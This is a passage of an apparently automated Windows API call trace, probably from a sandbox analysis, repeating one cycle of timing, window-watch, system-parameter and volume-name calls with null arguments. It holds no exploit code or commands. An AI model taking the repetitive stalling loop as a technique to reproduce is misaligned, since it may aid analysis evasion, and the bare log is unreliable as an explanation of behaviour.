timeGetTime () returned 0x1138612 [0140.571] WinWatchOpen () returned 0x2aa058 [0140.571] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.572] LockResource (hResData=0x0) returned 0x0 [0140.572] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.572] WinWatchNotify () returned 0x0 [0140.572] timeGetTime () returned 0x1138612 [0140.572] WinWatchOpen () returned 0x2aa078 [0140.572] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.572] LockResource (hResData=0x0) returned 0x0 [0140.572] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.572] WinWatchNotify () returned 0x0 [0140.572] timeGetTime () returned 0x1138612 [0140.572] WinWatchOpen () returned 0x2aa098 [0140.572] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.572] LockResource (hResData=0x0) returned 0x0 [0140.572] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.572] WinWatchNotify () returned 0x0 [0140.572] timeGetTime () returned 0x1138612 [0140.572] WinWatchOpen () returned 0x2aa0b8 [0140.572] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.572] LockResource (hResData=0x0) returned 0x0 [0140.572] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.572] WinWatchNotify () returned 0x0 [0140.572] timeGetTime () returned 0x1138612 [0140.572] WinWatchOpen () returned 0x2aa0d8 [0140.572] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.572] LockResource (hResData=0x0) returned 0x0 [0140.572] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.572] WinWatchNotify () returned 0x0 [0140.572] timeGetTime () returned 0x1138612 [0140.572] WinWatchOpen () returned 0x2aa0f8 [0140.572] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.572] LockResource (hResData=0x0) returned 0x0 [0140.572] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.572] WinWatchNotify () returned 0x0 [0140.572] timeGetTime () returned 0x1138612 [0140.572] WinWatchOpen () returned 0x2aa118 [0140.572] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.572] LockResource (hResData=0x0) returned 0x0 [0140.572] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.572] WinWatchNotify () returned 0x0 [0140.572] timeGetTime () returned 0x1138613 [0140.572] WinWatchOpen () returned 0x2aa138 [0140.573] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.573] LockResource (hResData=0x0) returned 0x0 [0140.573] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.573] WinWatchNotify () returned 0x0 [0140.573] timeGetTime () returned 0x1138613 [0140.573] WinWatchOpen () returned 0x2aa158 [0140.573] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.573] LockResource (hResData=0x0) returned 0x0 [0140.573] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.573] WinWatchNotify () returned 0x0 [0140.573] timeGetTime () returned 0x1138613 [0140.573] WinWatchOpen () returned 0x2aa178 [0140.573] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.573] LockResource (hResData=0x0) returned 0x0 [0140.573] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.573] WinWatchNotify () returned 0x0 [0140.573] timeGetTime () returned 0x1138613 [0140.573] WinWatchOpen () returned 0x2aa198 [0140.573] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.573] LockResource (hResData=0x0) returned 0x0 [0140.573] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.573] WinWatchNotify () returned 0x0 [0140.573] timeGetTime () returned 0x1138613 [0140.573] WinWatchOpen () returned 0x2aa1b8 [0140.573] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.573] LockResource (hResData=0x0) returned 0x0 [0140.573] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.573] WinWatchNotify () returned 0x0 [0140.573] timeGetTime () returned 0x1138613 [0140.573] WinWatchOpen () returned 0x2aa1d8 [0140.573] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.573] LockResource (hResData=0x0) returned 0x0 [0140.573] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.573] WinWatchNotify () returned 0x0 [0140.573] timeGetTime () returned 0x1138613 [0140.573] WinWatchOpen () returned 0x2aa218 [0140.573] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.573] LockResource (hResData=0x0) returned 0x0 [0140.573] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.573] WinWatchNotify () returned 0x0 [0140.573] timeGetTime () returned 0x1138614 [0140.573] WinWatchOpen () returned 0x2aa238 [0140.573] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.574] LockResource (hResData=0x0) returned 0x0 [0140.574] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.574] WinWatchNotify () returned 0x0 [0140.574] timeGetTime () returned 0x1138614 [0140.574] WinWatchOpen () returned 0x2aa258 [0140.574] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.574] LockResource (hResData=0x0) returned 0x0 [0140.574] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.574] WinWatchNotify () returned 0x0 [0140.574] timeGetTime () returned 0x1138614 [0140.574] WinWatchOpen () returned 0x2aa278 [0140.574] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.574] LockResource (hResData=0x0) returned 0x0 [0140.574] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.574] WinWatchNotify () returned 0x0 [0140.574] timeGetTime () returned 0x1138614 [0140.574] WinWatchOpen () returned 0x2aa298 [0140.574] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.574] LockResource (hResData=0x0) returned 0x0 [0140.574] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.574] WinWatchNotify () returned 0x0 [0140.574] timeGetTime () returned 0x1138614 [0140.574] WinWatchOpen () returned 0x2aa2b8 [0140.574] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.574] LockResource (hResData=0x0) returned 0x0 [0140.574] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.574] WinWatchNotify () returned 0x0 [0140.574] timeGetTime () returned 0x1138614 [0140.574] WinWatchOpen () returned 0x2aa2d8 [0140.574] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.574] LockResource (hResData=0x0) returned 0x0 [0140.574] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.574] WinWatchNotify () returned 0x0 [0140.574] timeGetTime () returned 0x1138614 [0140.574] WinWatchOpen () returned 0x2aa2f8 [0140.574] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.574] LockResource (hResData=0x0) returned 0x0 [0140.574] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.574] WinWatchNotify () returned 0x0 [0140.574] timeGetTime () returned 0x1138615 [0140.574] WinWatchOpen () returned 0x2aa318 [0140.574] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.574] LockResource (hResData=0x0) returned 0x0 [0140.575] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.575] WinWatchNotify () returned 0x0 [0140.575] timeGetTime () returned 0x1138615 [0140.575] WinWatchOpen () returned 0x2aa338 [0140.575] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.575] LockResource (hResData=0x0) returned 0x0 [0140.575] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.575] WinWatchNotify () returned 0x0 [0140.575] timeGetTime () returned 0x1138615 [0140.575] WinWatchOpen () returned 0x2aa358 [0140.575] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.575] LockResource (hResData=0x0) returned 0x0 [0140.575] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.575] WinWatchNotify () returned 0x0 [0140.575] timeGetTime () returned 0x1138615 [0140.575] WinWatchOpen () returned 0x2aa378 [0140.575] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.575] LockResource (hResData=0x0) returned 0x0 [0140.575] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.575] WinWatchNotify () returned 0x0 [0140.575] timeGetTime () returned 0x1138615 [0140.575] WinWatchOpen () returned 0x2aa398 [0140.575] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.575] LockResource (hResData=0x0) returned 0x0 [0140.575] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.575] WinWatchNotify () returned 0x0 [0140.575] timeGetTime () returned 0x1138615 [0140.575] WinWatchOpen () returned 0x2aa3b8 [0140.575] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.575] LockResource (hResData=0x0) returned 0x0 [0140.575] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.575] WinWatchNotify () returned 0x0 [0140.575] timeGetTime () returned 0x1138615 [0140.575] WinWatchOpen () returned 0x2aa3d8 [0140.575] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.575] LockResource (hResData=0x0) returned 0x0 [0140.575] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.575] WinWatchNotify () returned 0x0 [0140.576] timeGetTime () returned 0x1138616 [0140.576] WinWatchOpen () returned 0x2aa3f8 [0140.576] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.576] LockResource (hResData=0x0) returned 0x0 [0140.576] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.576] WinWatchNotify () returned 0x0 [0140.576] timeGetTime () returned 0x1138616 [0140.576] WinWatchOpen () returned 0x2aa418 [0140.576] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.576] LockResource (hResData=0x0) returned 0x0 [0140.576] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.576] WinWatchNotify () returned 0x0 [0140.576] timeGetTime () returned 0x1138616 [0140.576] WinWatchOpen () returned 0x2aa438 [0140.576] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.576] LockResource (hResData=0x0) returned 0x0 [0140.576] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.576] WinWatchNotify () returned 0x0 [0140.576] timeGetTime () returned 0x1138616 [0140.576] WinWatchOpen () returned 0x2aa458 [0140.576] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.576] LockResource (hResData=0x0) returned 0x0 [0140.576] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.576] WinWatchNotify () returned 0x0 [0140.576] timeGetTime () returned 0x1138616 [0140.576] WinWatchOpen () returned 0x2aa478 [0140.576] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.576] LockResource (hResData=0x0) returned 0x0 [0140.576] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.576] WinWatchNotify () returned 0x0 [0140.576] timeGetTime () returned 0x1138616 [0140.576] WinWatchOpen () returned 0x2aa498 [0140.576] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.576] LockResource (hResData=0x0) returned 0x0 [0140.576] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.576] WinWatchNotify () returned 0x0 [0140.576] timeGetTime () returned 0x1138616 [0140.576] WinWatchOpen () returned 0x2aa4b8 [0140.576] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.576] LockResource (hResData=0x0) returned 0x0 [0140.577] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.577] WinWatchNotify () returned 0x0 [0140.577] timeGetTime () returned 0x1138617 [0140.577] WinWatchOpen () returned 0x2aa4d8 [0140.577] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.577] LockResource (hResData=0x0) returned 0x0 [0140.577] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.577] WinWatchNotify () returned 0x0 [0140.577] timeGetTime () returned 0x1138617 [0140.577] WinWatchOpen () returned 0x2aa4f8 [0140.577] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.577] LockResource (hResData=0x0) returned 0x0 [0140.577] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.577] WinWatchNotify () returned 0x0 [0140.577] timeGetTime () returned 0x1138617 [0140.577] WinWatchOpen () returned 0x2aa518 [0140.577] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.577] LockResource (hResData=0x0) returned 0x0 [0140.577] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.577] WinWatchNotify () returned 0x0 [0140.577] timeGetTime () returned 0x1138617 [0140.577] WinWatchOpen () returned 0x2aa538 [0140.577] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.577] LockResource (hResData=0x0) returned 0x0 [0140.577] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.577] WinWatchNotify () returned 0x0 [0140.577] timeGetTime () returned 0x1138617 [0140.577] WinWatchOpen () returned 0x2aa558 [0140.577] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.577] LockResource (hResData=0x0) returned 0x0 [0140.577] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.577] WinWatchNotify () returned 0x0 [0140.577] timeGetTime () returned 0x1138617 [0140.577] WinWatchOpen () returned 0x2aa578 [0140.577] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.577] LockResource (hResData=0x0) returned 0x0 [0140.577] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.577] WinWatchNotify () returned 0x0 [0140.577] timeGetTime () returned 0x1138617 [0140.577] WinWatchOpen () returned 0x2aa598 [0140.577] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.577] LockResource (hResData=0x0) returned 0x0 [0140.577] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.578] WinWatchNotify () returned 0x0 [0140.578] timeGetTime () returned 0x1138618 [0140.578] WinWatchOpen () returned 0x2aa5b8 [0140.578] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.578] LockResource (hResData=0x0) returned 0x0 [0140.578] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.578] WinWatchNotify () returned 0x0 [0140.578] timeGetTime () returned 0x1138618 [0140.578] WinWatchOpen () returned 0x2aa5d8 [0140.578] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.578] LockResource (hResData=0x0) returned 0x0 [0140.578] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.578] WinWatchNotify () returned 0x0 [0140.578] timeGetTime () returned 0x1138618 [0140.578] WinWatchOpen () returned 0x2aa5f8 [0140.578] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.578] LockResource (hResData=0x0) returned 0x0 [0140.578] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.578] WinWatchNotify () returned 0x0 [0140.578] timeGetTime () returned 0x1138618 [0140.578] WinWatchOpen () returned 0x2aa618 [0140.578] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.578] LockResource (hResData=0x0) returned 0x0 [0140.578] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.578] WinWatchNotify () returned 0x0 [0140.578] timeGetTime () returned 0x1138618 [0140.578] WinWatchOpen () returned 0x2aa638 [0140.578] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.578] LockResource (hResData=0x0) returned 0x0 [0140.578] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.578] WinWatchNotify () returned 0x0 [0140.578] timeGetTime () returned 0x1138618 [0140.578] WinWatchOpen () returned 0x2aa658 [0140.578] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.578] LockResource (hResData=0x0) returned 0x0 [0140.578] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.578] WinWatchNotify () returned 0x0 [0140.578] timeGetTime () returned 0x1138618 [0140.578] WinWatchOpen () returned 0x2aa678 [0140.578] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.578] LockResource (hResData=0x0) returned 0x0 [0140.578] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.578] WinWatchNotify () returned 0x0 [0140.579] timeGetTime () returned 0x1138619 [0140.579] WinWatchOpen () returned 0x2aa698 [0140.579] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.579] LockResource (hResData=0x0) returned 0x0 [0140.579] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.579] WinWatchNotify () returned 0x0 [0140.579] timeGetTime () returned 0x1138619 [0140.579] WinWatchOpen () returned 0x2aa6b8 [0140.579] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.579] LockResource (hResData=0x0) returned 0x0 [0140.579] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.579] WinWatchNotify () returned 0x0 [0140.579] timeGetTime () returned 0x1138619 [0140.579] WinWatchOpen () returned 0x2aa6d8 [0140.579] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.579] LockResource (hResData=0x0) returned 0x0 [0140.579] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.579] WinWatchNotify () returned 0x0 [0140.579] timeGetTime () returned 0x1138619 [0140.579] WinWatchOpen () returned 0x2aa6f8 [0140.579] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.579] LockResource (hResData=0x0) returned 0x0 [0140.579] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.579] WinWatchNotify () returned 0x0 [0140.579] timeGetTime () returned 0x1138619 [0140.579] WinWatchOpen () returned 0x2aa718 [0140.579] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.579] LockResource (hResData=0x0) returned 0x0 [0140.579] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.579] WinWatchNotify () returned 0x0 [0140.579] timeGetTime () returned 0x1138619 [0140.579] WinWatchOpen () returned 0x2aa738 [0140.579] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.579] LockResource (hResData=0x0) returned 0x0 [0140.579] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.579] WinWatchNotify () returned 0x0 [0140.579] timeGetTime () returned 0x1138619 [0140.579] WinWatchOpen () returned 0x2aa758 [0140.579] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.579] LockResource (hResData=0x0) returned 0x0 [0140.579] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.579] WinWatchNotify () returned 0x0 [0140.580] timeGetTime () returned 0x113861a [0140.580] WinWatchOpen () returned 0x2aa778 [0140.580] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.580] 